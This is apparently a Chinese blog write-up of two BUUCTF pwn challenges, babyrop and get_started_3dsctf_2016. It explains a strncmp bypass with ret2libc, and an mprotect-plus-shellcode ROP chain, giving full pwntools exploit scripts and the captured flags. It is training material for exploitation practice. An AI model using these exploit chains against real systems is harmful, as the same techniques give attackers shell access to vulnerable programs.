
本文共 3346 字,大约阅读时间需要 11 分钟。
buuctf
[OGeek2019]babyrop
32位,开了栈堆执行保护
IDA查看下伪代码
没有system和/bin/sh/
读一个随机数给buf
strncmp函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值
就是读取一个随机数,然后与输入作比较。需要绕过,strlen遇到\x00
会停止,于是开头为\x00,最终比较的长度v1是0,从而绕过strncmp,避免执行exit(0)
大致的流程就是先生成一个随机数,然后将这个随机数放入buf,再把buf传到804871F
在804871F里,buf变成a1,把a1放入s,然后往804871F的buf里输入数据,这一步要注意,我们要做的是通过传入数据,把v5覆盖掉,因为返回值是v5,而v5和buf的关系在stack里是这样的
所以我们传入2c-25=7个以上的字节,同时为了绕开strlen在前面要加’\x00’,所以payload1 = ’\x00’+’\xff’*7
接着v5返回到主函数,变成v2,传到80487D0里,80487D0里变成a1, 因为我们传入的a1为\xff(255),所以执行else, 这时我们开始ret2libc
p = flat([‘a’*0xe7, ‘a’*4, puts_plt, main_addr, read_got])
接着重新回到主函数,再来一次,步骤大致相同,就只是最后改为执行system
exp
Python编码声明# -- coding: utf-8 --
# -*- coding:utf-8 -*-from pwn import *from LibcSearcher import *r=remote('node3.buuoj.cn',27895)#r=process('./pwn')elf=ELF('./pwn')write_plt=elf.plt['write']read_got=elf.got['read']read_plt=elf.plt['read']main_addr=0x8048825payload1='\x00'+'\xff'*0x7r.sendline(payload1)r.recvuntil('Correct\n')#泄露read的got地址payload='a'*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)r.sendline(payload)read_addr=u32(r.recv(4))print('[+]read_addr: ',hex(read_addr))libc=LibcSearcher('read',read_addr)libc_base=read_addr-libc.dump('read')system_addr=libc_base+libc.dump('system')bin_sh_addr=libc_base+libc.dump('str_bin_sh')r.sendline(payload1)r.recvuntil('Correct\n')payload='a'*(0xe7+4)+p32(system_addr)*2+p32(bin_sh_addr)r.sendline(payload)r.interactive()
运行结果
flag{61cba5df-9047-4e28-abe7-093ca7a8f405}
get_started_3dsctf_2016
checksec一下
32位ida查看伪代码
主函数看到好大一个gets溢出?
这题的关键所在是程序里有一个mprotect函数,它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell
mprotect函数:
int mprotect(void *addr, size_t len, int prot);addr 内存启始地址len 修改内存的长度prot 内存的权限
首先利用gets造成溢出,让程序跳转到mprotect函数地址,去执行
payload = 'A' * 0x38 + p32(mprotect_addr)
Ctrl+s
调出程序的段表,从地址080eb000开始修改为可读可写可执行
使用以下指令可以找到我们需要的ret指令,我们mprotect函数只要设置3个参数,这边就借用3个寄存器
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序
payload += p32(pop3_ret) payload += p32(mem_addr) payload += p32(mem_size) payload += p32(mem_proc) payload += p32(read_addr)
read函数原型:
ssize_t read(int fd, void *buf, size_t count);fd 设为0时就可以从输入端读取内容 设为0buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令
payload += p32(pop3_ret) payload += p32(0) payload += p32(mem_addr) payload += p32(0x100) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcodepayload += p32(mem_addr)
到这里已完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
shellcode可以利用pwntools直接生成:shellcode=asm(shellcraft.sh())
exp
from pwn import *elf = ELF('./get_started_3dsctf_2016')ma=remote('node3.buuoj.cn', 28669)pop3_ret = 0x804951Dmem_addr = 0x80EB000mem_size = 0x1000 mem_proc = 0x7 mprotect_addr = elf.symbols['mprotect']read_addr = elf.symbols['read']payload = 'A' * 0x38payload += p32(mprotect_addr)payload += p32(pop3_ret) payload += p32(mem_addr) payload += p32(mem_size) payload += p32(mem_proc) payload += p32(read_addr)payload += p32(pop3_ret) payload += p32(0) payload += p32(mem_addr) payload += p32(0x100) payload += p32(mem_addr) ma.sendline(payload)payload = asm(shellcraft.sh()) ma.sendline(payload)ma.interactive()
运行结果
$ cat flag
flag{72a4c30b-7857-430f-9ed3-e45cb4447c96}
发表评论
最新留言
关于作者
